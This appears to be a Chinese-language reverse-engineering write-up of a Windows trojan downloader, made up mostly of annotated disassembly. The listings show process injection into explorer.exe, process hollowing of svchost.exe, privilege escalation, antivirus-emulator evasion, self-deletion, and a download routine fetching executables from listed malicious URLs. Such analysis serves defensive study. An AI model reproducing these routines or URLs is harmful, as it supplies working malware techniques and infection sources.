00401050 10 89 D0 68 FF 00 00 00 23 04 24 83 C4 04 6A FF 壭h...#$兡j
00401060 33 04 24 40 83 C4 04 01 C1 8B 45 08 03 45 F8 C6 3$@兡翄EE
00401070 00 00 28 08 F6 18 8B 4D FC 41 89 4D FC 83 7D FC ..(?婱麬塎鼉}
// 解密后
00401000 >55 8B EC 81 EC DC 02 00 00 B8 6C 01 00 00 89 85 U嬱侅?..竘..墔
00401010 90 FE FF FF 89 85 24 FD FF FF 6A 00 8D 45 FC 50 慆墔$?j.岴黀
00401020 6A 01 E8 37 11 00 00 85 C0 74 04 33 C0 C9 C3 8B j?..吚t3郎脣
00401030 45 FC 8B 08 6A 08 6A 00 50 FF 51 50 8B 45 FC 8B E鼖jj.PQP婨鼖
00401040 08 8D 95 24 FD FF FF 52 8D 95 90 FE FF FF 52 50 崟$?R崟慆RP
00401050 FF 51 2C 85 C0 75 D4 81 BD CC FE FF FF 00 00 00 Q,吚u詠教?...
00401060 02 1B C0 F7 D8 C9 C3 55 8B EC 83 EC 08 C6 45 FF 厉厣肬嬱冹艵
00401070 00 0F 01 4D F9 8B 45 FB 25 00 00 F0 FF 3D 00 00 .M鶍E?..?=..
00401080 C0 FF 75 04 C6 45 FF 01 0F B6 45 FF C9 C3 55 8B ?u艵禘擅U
3 自身注入Explorer.exe
// 接着获得版本信息及自身路径
00401FBB 55 push ebp **************
00401FBC 8BEC mov ebp,esp
00401FBE 81EC 3C010000 sub esp,13C
00401FC4 8D85 C4FEFFFF lea eax,dword ptr ss:
00401FCA 8945 FC mov dword ptr ss:,eax
00401FCD E8 BCF0FFFF call __krap_.0040108E
00401FD2 84C0 test al,al
00401FD4 - 0F84 7E010000 je __krap_.00402158
// 截取自己所在路径下最后的文件名称，判断自身是不是explorer.exe，因为这段代码会
// 运行在病毒程序中，也会运行在被注入的explorer中。
// 如果是explorer,则注入代码到svchost.exe 中。
00402010 8B4D FC mov ecx,dword ptr ss:
00402013 8B11 mov edx,dword ptr ds:
00402015 B8 20202020 mov eax,20202020
0040201A 0BD0 or edx,eax
0040201C 81FA 6578706C cmp edx,6C707865 ; expl
00402022 75 77 jnz short __krap_.0040209B
00402024 8B51 04 mov edx,dword ptr ds:
00402027 0BD0 or edx,eax
00402029 81FA 6F726572 cmp edx,7265726F ; orer
0040202F 75 6A jnz short __krap_.0040209B
00402031 8B49 08 mov ecx,dword ptr ds:
00402034 0BC8 or ecx,eax
00402036 81F9 2E657865 cmp ecx,6578652E ; .exe
0040203C 75 5D jnz short __krap_.0040209B
0040203E 8B45 0C mov eax,dword ptr ss:
00402041 48 dec eax
00402042 75 4E jnz short __krap_.00402092
00402044 6A 08 push 8
00402046 59 pop ecx
00402047 8D7D C8 lea edi,dword ptr ss:
0040204A F3:AB rep stos dword ptr es:
0040204C 68 40344000 push __krap_.00403440 ; ASCII "explorer.exe"
00402051 8D45 C8 lea eax,dword ptr ss:
00402054 50 push eax
00402055 FF15 1C304000 call dword ptr ds: ; kernel32.lstrcpyA
0040205B 8D45 C8 lea eax,dword ptr ss:
0040205E 50 push eax
0040205F E8 7CF1FFFF call __krap_.004011E0 ; 获得explorer.exe 进程id
00402064 3BC3 cmp eax,ebx
00402066 59 pop ecx
00402067 74 29 je short __krap_.00402092
00402069 50 push eax
0040206A 53 push ebx
0040206B 68 FF0F1F00 push 1F0FFF
00402070 FF15 34304000 call dword ptr ds: ; kernel32.OpenProcess
00402076 8BF0 mov esi,eax
00402078 3BF3 cmp esi,ebx
0040207A 74 16 je short __krap_.00402092
0040207C 53 push ebx
0040207D 56 push esi
0040207E 68 F11E4000 push <__krap_.inject_code>
00402083 E8 AEFCFFFF call __krap_.00401D36 // 注入代码到svchost.exe
// 不是explorer.exe,说明是病毒程序自身，提权，注入。
0040209B 57 push edi
0040209C 68 08404000 push __krap_.00404008
004020A1 53 push ebx
004020A2 FFD6 call esi
004020A4 FF15 A8304000 call dword ptr ds: ; kernel32.GetCurrentProcess
004020AA 8D4D 0C lea ecx,dword ptr ss:
004020AD 51 push ecx
004020AE 6A 20 push 20
004020B0 50 push eax
004020B1 FF15 08304000 call dword ptr ds: ; ADVAPI32.OpenProcessToken
004020B7 85C0 test eax,eax
004020B9 8B35 2C304000 mov esi,dword ptr ds: ; kernel32.CloseHandle
004020BF 74 44 je short __krap_.00402105
004020C1 8D45 F8 lea eax,dword ptr ss:
004020C4 50 push eax
004020C5 68 FC334000 push __krap_.004033FC ; ASCII "SeDebugPrivilege"
004020CA 53 push ebx
004020CB FF15 00304000 call dword ptr ds: ; ADVAPI32.LookupPrivilegeValueA
004020D1 85C0 test eax,eax
004020D3 74 30 je short __krap_.00402105
004020D5 8B45 F8 mov eax,dword ptr ss:
004020D8 53 push ebx
004020D9 8945 EC mov dword ptr ss:,eax
004020DC 8B45 FC mov eax,dword ptr ss:
004020DF 53 push ebx
004020E0 53 push ebx
004020E1 8945 F0 mov dword ptr ss:,eax
004020E4 8D45 E8 lea eax,dword ptr ss:
004020E7 50 push eax
004020E8 53 push ebx
004020E9 FF75 0C push dword ptr ss:
004020EC C745 E8 0100000>mov dword ptr ss:,1
004020F3 C745 F4 0200000>mov dword ptr ss:,2
004020FA FF15 04304000 call dword ptr ds: ; ADVAPI32.AdjustTokenPrivileges
//以下是查找过程，枚举进程，然后枚举模块，判断是否是explorer.exe
00401213 E8 580F0000 call __krap_.00402170 ; jmp to PSAPI.EnumProcesses
00401218 85C0 test eax,eax
0040121A 0F84 07010000 je __krap_.00401327
00401220 8365 FC 00 and dword ptr ss:,0
00401224 F745 F8 FCFFFFF>test dword ptr ss:,FFFFFFFC
0040122B 0F86 F6000000 jbe __krap_.00401327
00401231 56 push esi
00401232 8B35 38304000 mov esi,dword ptr ds: ; kernel32.lstrlenA
00401238 53 push ebx
00401239 8B45 FC mov eax,dword ptr ss:
0040123C 8B8485 F0EDFFFF mov eax,dword ptr ss:
00401243 85C0 test eax,eax
00401245 0F84 BC000000 je __krap_.00401307
0040124B 50 push eax
0040124C 6A 00 push 0
0040124E 68 10040000 push 410
00401253 FF15 34304000 call dword ptr ds: ; kernel32.OpenProcess
00401259 57 push edi
0040125A 8BD8 mov ebx,eax
0040125C 8D85 F0FEFFFF lea eax,dword ptr ss:
00401262 6A 00 push 0
00401264 50 push eax
00401265 E8 3D0A0000 call __krap_.00401CA7 ; 清0，存储模块名字的空间
0040126A 83C4 0C add esp,0C
0040126D 85DB test ebx,ebx
0040126F 0F84 8B000000 je __krap_.00401300
00401275 8D45 F0 lea eax,dword ptr ss:
00401278 50 push eax
00401279 6A 04 push 4
0040127B 8D45 F4 lea eax,dword ptr ss:
0040127E 50 push eax
0040127F 53 push ebx
00401280 E8 E50E0000 call __krap_.0040216A //枚举进程中的模块
00401285 85C0 test eax,eax
00401287 74 77 je short __krap_.00401300
00401289 57 push edi
0040128A 8D85 F0FEFFFF lea eax,dword ptr ss:
00401290 50 push eax
00401291 FF75 F4 push dword ptr ss:
00401294 53 push ebx
00401295 E8 CA0E0000 call __krap_.00402164 // GetModuleFileNameExA
0040129A 8D85 F0FEFFFF lea eax,dword ptr ss:
004012A0 50 push eax
004012A1 FFD6 call esi // 计算获得模块路径的的长度
004012A3 85C0 test eax,eax
004012A5 74 59 je short __krap_.00401300
004012A7 80BD F1FEFFFF 3>cmp byte ptr ss:,3A // 查找任何的盘符 + ":\" 开头的路径
004012AE 75 50 jnz short __krap_.00401300
004012B0 80BD F2FEFFFF 5>cmp byte ptr ss:,5C
004012B7 75 47 jnz short __krap_.00401300
004012B9 FF75 08 push dword ptr ss: // 压入explorer.exe
004012BC FFD6 call esi // 计算长度
004012BE 85C0 test eax,eax
004012C0 7E 3E jle short __krap_.00401300
004012C2 8D85 F0FEFFFF lea eax,dword ptr ss:
004012C8 50 push eax
004012C9 FFD6 call esi
004012CB EB 12 jmp short __krap_.004012DF // 反向查找 '\' ，截取文件名和explorer进行比较
004012CD 8A11 mov dl,byte ptr ds:
004012CF 80FA 40 cmp dl,40
004012D2 7E 0A jle short __krap_.004012DE
004012D4 80FA 5B cmp dl,5B
004012D7 7D 05 jge short __krap_.004012DE
004012D9 80C2 20 add dl,20
004012DC 8811 mov byte ptr ds:,dl
004012DE 48 dec eax
004012DF 8D8C05 F0FEFFFF lea ecx,dword ptr ss:
004012E6 8039 5C cmp byte ptr ds:,5C
004012E9 ^ 75 E2 jnz short __krap_.004012CD
004012EB FF75 08 push dword ptr ss:
004012EE 8D8405 F1FEFFFF lea eax,dword ptr ss:
004012F5 50 push eax
004012F6 FF15 30304000 call dword ptr ds: ; lstrcmpA
004012FC 85C0 test eax,eax
004012FE 74 1B je short __krap_.0040131B // 如果枚举的进程explorer.exe
00401300 53 push ebx
00401301 FF15 2C304000 call dword ptr ds: ; kernel32.CloseHandle
00401307 8B45 F8 mov eax,dword ptr ss:
0040130A FF45 FC inc dword ptr ss:
0040130D C1E8 02 shr eax,2
00401310 3945 FC cmp dword ptr ss:,eax
00401313 ^ 0F82 20FFFFFF jb __krap_.00401239
00401319 EB 0A jmp short __krap_.00401325
0040131B 8B45 FC mov eax,dword ptr ss:
0040131E 8B8485 F0EDFFFF mov eax,dword ptr ss: // 保留explorer.exe的进程ID
00401325 5B pop ebx
00401326 5E pop esi
00401327 5F pop edi
00401328 C9 leave
00401329 C3 retn
// 对explorer.exe的注入采用的NtMapViewOfSection + CreateRemoteThread
00401D36 55 push ebp
00401D37 8BEC mov ebp,esp
00401D39 81EC 0C030000 sub esp,30C
00401D3F 53 push ebx
00401D40 56 push esi
00401D41 57 push edi
00401D42 E8 B8FFFFFF call __krap_.00401CFF
00401D47 25 0000FFFF and eax,FFFF0000
00401D4C 8B78 3C mov edi,dword ptr ds:
00401D4F 03F8 add edi,eax
00401D51 8945 F8 mov dword ptr ss:,eax
00401D54 8D47 18 lea eax,dword ptr ds:
00401D57 8945 E0 mov dword ptr ss:,eax
00401D5A 8B40 38 mov eax,dword ptr ds: //自身的Size0fImage
00401D5D 33DB xor ebx,ebx
00401D5F 6A 09 push 9 // 查看是否支持PAE扩展
00401D61 8945 F0 mov dword ptr ss:,eax
00401D64 885D FF mov byte ptr ss:,bl
00401D67 FF15 98304000 call dword ptr ds: //IsProcessorFeaturePresent
00401D6D 53 push ebx
00401D6E FF75 F0 push dword ptr ss:
00401D71 8BF0 mov esi,eax
00401D73 F7DE neg esi
00401D75 1BF6 sbb esi,esi
00401D77 53 push ebx // hFile = FFFFFFFF
00401D78 83E6 3C and esi,3C // pSecurity = NULL
00401D7B 83C6 04 add esi,4 // Protection = PAGE_EXECUTE_READWRITE
00401D7E 56 push esi // Max_SizeHigh = 0
00401D7F 53 push ebx // Max_SizeLow = A000 -> 自身 Size0fImage 大小
00401D80 6A FF push -1 // MapName = Null
00401D82 FF15 94304000 call dword ptr ds: // call kernel32.CreateFileMappingA
00401D88 3BC3 cmp eax,ebx
00401D8A 8945 E8 mov dword ptr ss:,eax
00401D8D 75 07 jnz short __krap_.00401D96
00401D8F 32C0 xor al,al
00401D91 E9 56010000 jmp __krap_.00401EEC
00401D96 53 push ebx
00401D97 53 push ebx
00401D98 53 push ebx
00401D99 6A 02 push 2
00401D9B 50 push eax
00401D9C FF15 90304000 call dword ptr ds: ; call MapViewOfFile
00401DA2 3BC3 cmp eax,ebx
00401DA4 8945 F4 mov dword ptr ss:,eax
00401DA7 0F84 33010000 je __krap_.00401EE0
00401DAD 68 1C344000 push __krap_.0040341C ; ASCII "NtMapViewOfSection"
00401DB2 8D45 C0 lea eax,dword ptr ss:
00401DB5 50 push eax
00401DB6 FF15 1C304000 call dword ptr ds: ; kernel32.lstrcpyA
00401DBC 68 10344000 push __krap_.00403410 ; ASCII "ntdll.dll"
00401DC1 FF15 6C304000 call dword ptr ds: ; kernel32.LoadLibraryA
00401DC7 8D4D C0 lea ecx,dword ptr ss:
00401DCA 51 push ecx
00401DCB 50 push eax
00401DCC FF15 7C304000 call dword ptr ds: ; kernel32.GetProcAddress
00401DD2 8B4D F0 mov ecx,dword ptr ss: // 从ntdll 中 导出zwMapViewOfSection
00401DD5 56 push esi
00401DD6 53 push ebx
00401DD7 6A 01 push 1
00401DD9 894D E4 mov dword ptr ss:,ecx
00401DDC 8D4D E4 lea ecx,dword ptr ss:
00401DDF 51 push ecx
00401DE0 53 push ebx
00401DE1 53 push ebx
00401DE2 53 push ebx
00401DE3 8D4D EC lea ecx,dword ptr ss:
00401DE6 51 push ecx
00401DE7 FF75 0C push dword ptr ss:
00401DEA 895D EC mov dword ptr ss:,ebx
00401DED FF75 E8 push dword ptr ss:
00401DF0 FFD0 call eax // 映射一段0xA000大小的空间
00401DF2 FF75 F0 push dword ptr ss:
00401DF5 FF75 F8 push dword ptr ss:
00401DF8 FF75 F4 push dword ptr ss:
00401DFB E8 DAFEFFFF call __krap_.00401CDA // 拷贝自身数据到Mapping的空间中
00401E00 0FB747 14 movzx eax,word ptr ds: // SizeOfOptionalHeader = E0
00401E04 0345 E0 add eax,dword ptr ss: // 定位到第一个节表
00401E07 8B75 EC mov esi,dword ptr ss:
00401E0A 8B48 34 mov ecx,dword ptr ds: // 得到VirtualAddress
00401E0D 8BFE mov edi,esi
00401E0F 2B7D F8 sub edi,dword ptr ss: // edi = dif（地址差值） == NtMapViewOfSection映射的地址 - MapViewOfFile映射地址
00401E12 83C4 0C add esp,0C
00401E15 034D F8 add ecx,dword ptr ss:
00401E18 66:8139 8DBE cmp word ptr ds:,0BE8D // 查找节中一段特征指令 lea edi,dword ptr ds:
00401E1D 75 09 jnz short __krap_.00401E28 // mov eax,dword ptr ds:
00401E1F 8179 06 8B0709C>cmp dword ptr ds:,C009078B // or eax,eax
00401E26 74 03 je short __krap_.00401E2B
00401E28 41 inc ecx
00401E29 ^ EB ED jmp short __krap_.00401E18
00401E2B 8B49 02 mov ecx,dword ptr ds: // 取出上面指令中的0x5000 这个数字到ecx
00401E2E 8B40 0C mov eax,dword ptr ds: // 定位第一个节的虚拟地址，0x1000
00401E31 03C8 add ecx,eax
00401E33 034D F8 add ecx,dword ptr ss: // 刚好得到第一个节的0x406000位置
00401E36 EB 0D jmp short __krap_.00401E45
00401E38 83C1 08 add ecx,8
00401E3B EB 01 jmp short __krap_.00401E3E
00401E3D 41 inc ecx
00401E3E 66:3919 cmp word ptr ds:,bx // 0x406000的位置是导入表函数名区域，不断比较是否00 00
00401E41 ^ 75 FA jnz short __krap_.00401E3D // 好跳过该区域，该区域是一个索引，里面记录了偏移，用于
00401E43 41 inc ecx // 后面的重定位，设x_table 表示该区域内对应的索引
00401E44 41 inc ecx // 0xf0 是索引区域结束的标志
00401E45 3919 cmp dword ptr ds:,ebx
00401E47 ^ 75 EF jnz short __krap_.00401E38
00401E49 8B55 F4 mov edx,dword ptr ss:
00401E4C 83C1 04 add ecx,4
00401E4F 8D5410 FC lea edx,dword ptr ds:
00401E53 8A01 mov al,byte ptr ds:
00401E55 41 inc ecx
00401E56 3AC3 cmp al,bl
00401E58 74 26 je short __krap_.00401E80
00401E5A 3C F0 cmp al,0F0
00401E5C 73 07 jnb short __krap_.00401E65
00401E5E 0FB6C0 movzx eax,al // mem_view_off = 映射区域第一个节代码的开始位置
00401E61 03D0 add edx,eax // mem_view_off = x_table + mem_view_off
00401E63 EB 0F jmp short __krap_.00401E74
00401E65 0FB731 movzx esi,word ptr ds:
00401E68 83E0 0F and eax,0F
00401E6B C1E0 10 shl eax,10
00401E6E 0BC6 or eax,esi
00401E70 03D0 add edx,eax
00401E72 41 inc ecx
00401E73 41 inc ecx
00401E74 013A add dword ptr ds:,edi // 对mem_view_off 重定位改写，每次通过
00401E76 8A01 mov al,byte ptr ds: // dif（地址差值）来修正
00401E78 41 inc ecx
00401E79 3AC3 cmp al,bl
00401E7B ^ 75 DD jnz short __krap_.00401E5A // 例如：
00401E7D 8B75 EC mov esi,dword ptr ss: // 要注入代码的地址计算 = 映射地址（BE0000） - 自身ImageBase(400000) + 自身代码地址（401EF1）
00401E80 2B75 F8 sub esi,dword ptr ss: // 最终要注入代码的地址 = 00FE1EF1
00401E83 0375 08 add esi,dword ptr ss:
00401E86 395D 10 cmp dword ptr ss:,ebx
00401E89 75 18 jnz short __krap_.00401EA3
00401E8B 53 push ebx // 注入 00401EF1 <__krap_.inject_code> 地址代码到explorer中
00401E8C 53 push ebx
00401E8D 53 push ebx
00401E8E 56 push esi
00401E8F 53 push ebx
00401E90 53 push ebx
00401E91 FF75 0C push dword ptr ss:
00401E94 FF15 8C304000 call dword ptr ds: ; kernel32.CreateRemoteThread
00401E9A 50 push eax
00401E9B FF15 2C304000 call dword ptr ds: ; kernel32.CloseHandle
00401EA1 EB 30 jmp short __krap_.00401ED3
00401EA3 8D85 F4FCFFFF lea eax,dword ptr ss:
00401EA9 50 push eax
00401EAA FF75 10 push dword ptr ss:
00401EAD C785 F4FCFFFF 0>mov dword ptr ss:,10002 // 这段代码是在explorer.exe 注入svchost.exe中要走的流程，后面会有分析。
00401EB7 FF15 88304000 call dword ptr ds: // kernel32.GetThreadContext
00401EBD 8D85 F4FCFFFF lea eax,dword ptr ss: // 取CONTEXT结构首地址
00401EC3 50 push eax // 压入CONTEXT结构首地址
00401EC4 FF75 10 push dword ptr ss: // 压入 hThread
00401EC7 89B5 A4FDFFFF mov dword ptr ss:,esi // 修改CONTEXT.Eip = 新的注入代码地址
00401ECD FF15 84304000 call dword ptr ds: // call SetThreadContext
00401ED3 FF75 F4 push dword ptr ss:
00401ED6 C645 FF 01 mov byte ptr ss:,1
00401EDA FF15 80304000 call dword ptr ds: ; kernel32.UnmapViewOfFile
00401EE0 FF75 E8 push dword ptr ss:
00401EE3 FF15 2C304000 call dword ptr ds: ; kernel32.CloseHandle
00401EE9 8A45 FF mov al,byte ptr ss:
00401EEC 5F pop edi
00401EED 5E pop esi
00401EEE 5B pop ebx
00401EEF C9 leave
00401EF0 C3 retn
4 .Explorer在再注入Svchost.exe
// 注入到explorer.exe中代码
00E21EF1 55 push ebp
00E21EF2 8BEC mov ebp,esp
00E21EF4 81EC 4C010000 sub esp,14C
00E21EFA 56 push esi
00E21EFB 68 D0070000 push 7D0
00E21F00 FF15 7030E200 call dword ptr ds: ; Sleep 休眠2秒
00E21F06 33F6 xor esi,esi
00E21F08 8D45 FC lea eax,dword ptr ss:
00E21F0B 50 push eax
00E21F0C 56 push esi
00E21F0D 56 push esi
00E21F0E 68 031DE200 push 0E21D03
00E21F13 56 push esi
00E21F14 56 push esi
00E21F15 8975 FC mov dword ptr ss:,esi // 创建一个线程不停的去删除主运行程序文件,很简单不分析了。
00E21F18 FF15 B430E200 call dword ptr ds: //call CreateThread
00E21F1E 50 push eax
00E21F1F FF15 2C30E200 call dword ptr ds: ; kernel32.CloseHandle
// 注入svchost，这里使用了 CREATE_SUSPENDED CreateProcess + ResumeThread 方式注入
// 相当于启动一个傀儡的进程svchost.exe,
00E21F25 68 04010000 push 104
00E21F2A 8D85 B4FEFFFF lea eax,dword ptr ss:
00E21F30 50 push eax
00E21F31 FF15 A030E200 call dword ptr ds: ; kernel32.GetSystemDirectoryA
00E21F37 68 3034E200 push 0E23430 ; ASCII "\svchost.exe"
00E21F3C 8D85 B4FEFFFF lea eax,dword ptr ss:
00E21F42 50 push eax
00E21F43 FF15 1830E200 call dword ptr ds: ; kernel32.lstrcatA
00E21F49 6A 40 push 40 // svchost.exe 所在的系统目录
00E21F4B 8D45 BC lea eax,dword ptr ss:
00E21F4E 56 push esi
00E21F4F 50 push eax
00E21F50 C745 B8 4400000>mov dword ptr ss:,44
00E21F57 E8 4BFDFFFF call 00E21CA7 // 分配0x40个空间，初始化为0，就是STARTUPINFO结构
00E21F5C 83C4 0C add esp,0C
00E21F5F 68 0C41E200 push 0E2410C
00E21F64 8D45 B8 lea eax,dword ptr ss:
00E21F67 50 push eax
00E21F68 56 push esi
00E21F69 56 push esi
00E21F6A 6A 04 push 4
00E21F6C 56 push esi
00E21F6D 56 push esi
00E21F6E 56 push esi
00E21F6F 8D85 B4FEFFFF lea eax,dword ptr ss:
00E21F75 50 push eax
00E21F76 56 push esi
00E21F77 C745 E4 0100000>mov dword ptr ss:,1
00E21F7E 66:C745 E8 0500 mov word ptr ss:,5 // 调试方式创建一个傀儡进程svchost.exe 进程，并挂起。
00E21F84 FF15 4030E200 call dword ptr ds: // call kernel32.CreateProcessA
00E21F8A FF35 1041E200 push dword ptr ds:
00E21F90 FF35 0C41E200 push dword ptr ds: // 再次注入代码到svchost.exe进程
00E21F96 68 C415E200 push 0E215C4 // 注入GetThreadContext() ，SetThreadContext() 注入
// 这里为svchost.exe 重新映射一块内存，然后修正Context.eax值，使其执行要注入代码的首地址
00E21F9B E8 96FDFFFF call 00E21D36
00E21FA0 83C4 0C add esp,0C
00E21FA3 84C0 test al,al
00E21FA5 74 0C je short 00E21FB3
00E21FA7 FF35 1041E200 push dword ptr ds:
00E21FAD FF15 9C30E200 call dword ptr ds: ; kernel32.ResumeThread
00E21FB3 56 push esi
00E21FB4 FF15 3C30E200 call dword ptr ds: ; kernel32.ExitThread
explorer中的注入代码执行完后自动退出。
5 .傀儡进程Svchost.exe完成download功能
svchost.exe 主要链接网络下载其它病毒。
004013B2 FF15 18304000 call dword ptr ds: ; kernel32.lstrcatA
004013B8 8B3D F8304000 mov edi,dword ptr ds:[<&WS2_32.WSAGetLas>; WININET.InternetReadFile
004013BE 895D E4 mov dword ptr ss:,ebx
004013C1 56 push esi
004013C2 8D85 08FAFFFF lea eax,dword ptr ss:
004013C8 53 push ebx
004013C9 50 push eax
004013CA E8 D8080000 call __krap_.00401CA7
004013CF 83C4 0C add esp,0C
004013D2 53 push ebx
004013D3 53 push ebx
004013D4 53 push ebx
004013D5 53 push ebx
004013D6 8D85 08F6FFFF lea eax,dword ptr ss:
004013DC 50 push eax
004013DD 8975 E8 mov dword ptr ss:,esi
004013E0 FF15 E8304000 call dword ptr ds:[<&SHELL32.Shell_Notif>; WININET.InternetOpenA
004013E6 395D E4 cmp dword ptr ss:,ebx
004013E9 53 push ebx
004013EA 53 push ebx
004013EB 53 push ebx
004013EC 8945 F4 mov dword ptr ss:,eax
004013EF 53 push ebx
004013F0 8D8D 08FEFFFF lea ecx,dword ptr ss:
004013F6 74 06 je short __krap_.004013FE
004013F8 8D8D 88FEFFFF lea ecx,dword ptr ss:
004013FE 51 push ecx
004013FF 50 push eax
00401400 FF15 E4304000 call dword ptr ds:[<&SHELL32.SHGetFileIn>; WININET.InternetOpenUrlA
00401406 6A 04 push 4
00401408 8945 08 mov dword ptr ss:,eax
0040140B 8D45 E0 lea eax,dword ptr ss:
0040140E 50 push eax
0040140F 6A 02 push 2
00401411 FF75 F4 push dword ptr ss:
00401414 FF15 EC304000 call dword ptr ds: ; WININET.InternetSetOptionA
0040141A 6A 04 push 4
0040141C 8D45 E0 lea eax,dword ptr ss:
0040141F 50 push eax
00401420 6A 06 push 6
00401422 FF75 F4 push dword ptr ss:
00401425 FF15 EC304000 call dword ptr ds: ; WININET.InternetSetOptionA
0040142B 6A 04 push 4
0040142D 8D45 E0 lea eax,dword ptr ss:
00401430 50 push eax
00401431 6A 05 push 5
00401433 FF75 F4 push dword ptr ss:
00401436 FF15 EC304000 call dword ptr ds: ; WININET.InternetSetOptionA
0040143C 53 push ebx
0040143D 8D45 FC lea eax,dword ptr ss:
00401440 50 push eax
00401441 8D45 EC lea eax,dword ptr ss:
00401444 50 push eax
00401445 68 05000020 push 20000005
0040144A FF75 08 push dword ptr ss:
0040144D 895D EC mov dword ptr ss:,ebx
00401450 C745 FC 0400000>mov dword ptr ss:,4
00401457 FF15 F0304000 call dword ptr ds:[<&comdlg32.GetFileTit>; WININET.HttpQueryInfoA
0040145D 8B45 EC mov eax,dword ptr ss:
00401460 3BC6 cmp eax,esi
00401462 0F86 8C000000 jbe __krap_.004014F4
00401468 53 push ebx
00401469 68 80000000 push 80
0040146E 6A 04 push 4
00401470 53 push ebx
00401471 6A 02 push 2
00401473 68 00000040 push 40000000
00401478 8D85 08FFFFFF lea eax,dword ptr ss:
0040147E 50 push eax
0040147F FF15 4C304000 call dword ptr ds: ; kernel32.CreateFileA
00401485 56 push esi
00401486 8945 F0 mov dword ptr ss:,eax
00401489 8D85 08FAFFFF lea eax,dword ptr ss:
0040148F 53 push ebx
00401490 50 push eax
00401491 895D FC mov dword ptr ss:,ebx
00401494 E8 0E080000 call __krap_.00401CA7
00401499 EB 2D jmp short __krap_.004014C8
0040149B 3AC3 cmp al,bl
0040149D 74 4A je short __krap_.004014E9
0040149F 53 push ebx
004014A0 8D45 DC lea eax,dword ptr ss:
004014A3 50 push eax
004014A4 FF75 FC push dword ptr ss:
004014A7 8D85 08FAFFFF lea eax,dword ptr ss:
004014AD 50 push eax
004014AE FF75 F0 push dword ptr ss:
004014B1 FF15 48304000 call dword ptr ds: ; kernel32.WriteFile
004014B7 56 push esi
004014B8 8D85 08FAFFFF lea eax,dword ptr ss:
004014BE 53 push ebx
004014BF 50 push eax
004014C0 E8 E2070000 call __krap_.00401CA7
004014C5 895D FC mov dword ptr ss:,ebx
004014C8 83C4 0C add esp,0C
004014CB 8D45 FC lea eax,dword ptr ss:
004014CE 50 push eax
004014CF 56 push esi
004014D0 8D85 08FAFFFF lea eax,dword ptr ss:
004014D6 50 push eax
004014D7 FF75 08 push dword ptr ss:
004014DA 8975 E8 mov dword ptr ss:,esi
004014DD FFD7 call edi
004014DF 85C0 test eax,eax
004014E1 0F95C0 setne al
004014E4 395D FC cmp dword ptr ss:,ebx
004014E7 ^ 77 B2 ja short __krap_.0040149B
004014E9 FF75 F0 push dword ptr ss:
004014EC FF15 2C304000 call dword ptr ds: ; kernel32.CloseHandle
004014F2 EB 13 jmp short __krap_.00401507
004014F4 83C0 FE add eax,-2
004014F7 3D FE030000 cmp eax,3FE
004014FC 77 09 ja short __krap_.00401507
004014FE 885D FB mov byte ptr ss:,bl
00401501 EB 04 jmp short __krap_.00401507
00401503 3AC3 cmp al,bl
00401505 74 1B je short __krap_.00401522
00401507 8D45 FC lea eax,dword ptr ss:
0040150A 50 push eax
0040150B 56 push esi
0040150C 8D85 08FAFFFF lea eax,dword ptr ss:
00401512 50 push eax
00401513 FF75 08 push dword ptr ss:
00401516 FFD7 call edi
链接的网络及下载的要运行的病毒包括不限于下面这些
0012E584 0012E834 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\nvdwyuf.exe"
0012E590 0012E7B4 ASCII "http://dbcorps.com/ibemh/oovqlsahc.php?adv=adv468"
0012E59C 0012E734 ASCII "http://cbphase.com/ibemh/oovqlsahc.php?adv=adv468"
0012E584 0012E9B4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\rrtmxa.exe"
0012E584 0012EB34 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\hrbnufy.exe"
0012E590 0012EAB4 ASCII "http://dbcorps.com/ibemh/rhlgoidbwq.php?adv=adv468"
0012E584 0012ECB4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\qgrirjoc.exe"
0012E590 0012EC34 ASCII "http://dbcorps.com/ibemh/erztbwqyg.php?adv=adv468"
0012E584 0012EE34 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\wsxguopp.exe"
0012E590 0012EDB4 ASCII "http://dbcorps.com/ibemh/aaick.php?adv=adv468"
0012E584 0012EFB4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\edsycb.exe"
0012E590 0012EF34 ASCII "http://dbcorps.com/ibemh/xbsnusnvp.php?adv=adv468"
0012E584 0012F134 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\nped.exe"
0012E59C 0012F034 ASCII "http://cbphase.com/ibemh/cfjeyt.php?adv=adv468"
0012E584 0012F2B4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\njnosbp.exe"
0012E59C 0012F1B4 ASCII "http://cbphase.com/ibemh/imdysnucxe.php?adv=adv468"
0012E584 0012F434 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\eqyleiv.exe"
0012E59C 0012F334 ASCII "http://cbphase.com/ibemh/gtbwqys.php?adv=adv468"
0012E584 0012F5B4 ASCII "C:\DOCUME~1\ADMIN~1\LOCALS~1\Temp\gbrel.exe"
...
里面还使用了一些绕AVer虚拟机的代码
0014101A 6A 00 push 0
0014101C 8D45 FC lea eax,dword ptr ss:
0014101F 50 push eax
00141020 6A 01 push 1
00141022 E8 37110000 call 0014215E // call ddraw.DirectDrawCreate，没仿真这个就挂了 :(
00141027 85C0 test eax,eax
00141029 74 04 je short 0014102F
0014102B 33C0 xor eax,eax
0014102D C9 leave
0014102E C3 retn
0014102F 8B45 FC mov eax,dword ptr ss:
00141032 8B08 mov ecx,dword ptr ds:
在上面这些代码执行完毕后进行自删除。
0014110E FF15 24301400 call dword ptr ds: ; kernel32.GetShortPathNameA
00141114 56 push esi
00141115 8D85 B8FCFFFF lea eax,dword ptr ss:
0014111B 50 push eax
0014111C 68 20311400 push 143120 ; ASCII "COMSPEC"
00141121 FF15 20301400 call dword ptr ds: ; kernel32.GetEnvironmentVariableA
00141127 68 18311400 push 143118 ; ASCII "/c del "
0014114D FFD6 call esi
0014114F 68 10311400 push 143110 ; ASCII " > nul"
00141154 8D85 BCFDFFFF lea eax,dword ptr ss:
0014115A 50 push eax
0014115B FFD6 call esi
0014115D 8D85 B8FCFFFF lea eax,dword ptr ss:
// 启动cmd.exe 删除
00141176 C745 C4 3C00000>mov dword ptr ss:,3C
0014117D 897D CC mov dword ptr ss:,edi
00141180 C745 D0 0831140>mov dword ptr ss:,143108 ; ASCII "Open"
00141187 897D DC mov dword ptr ss:,edi
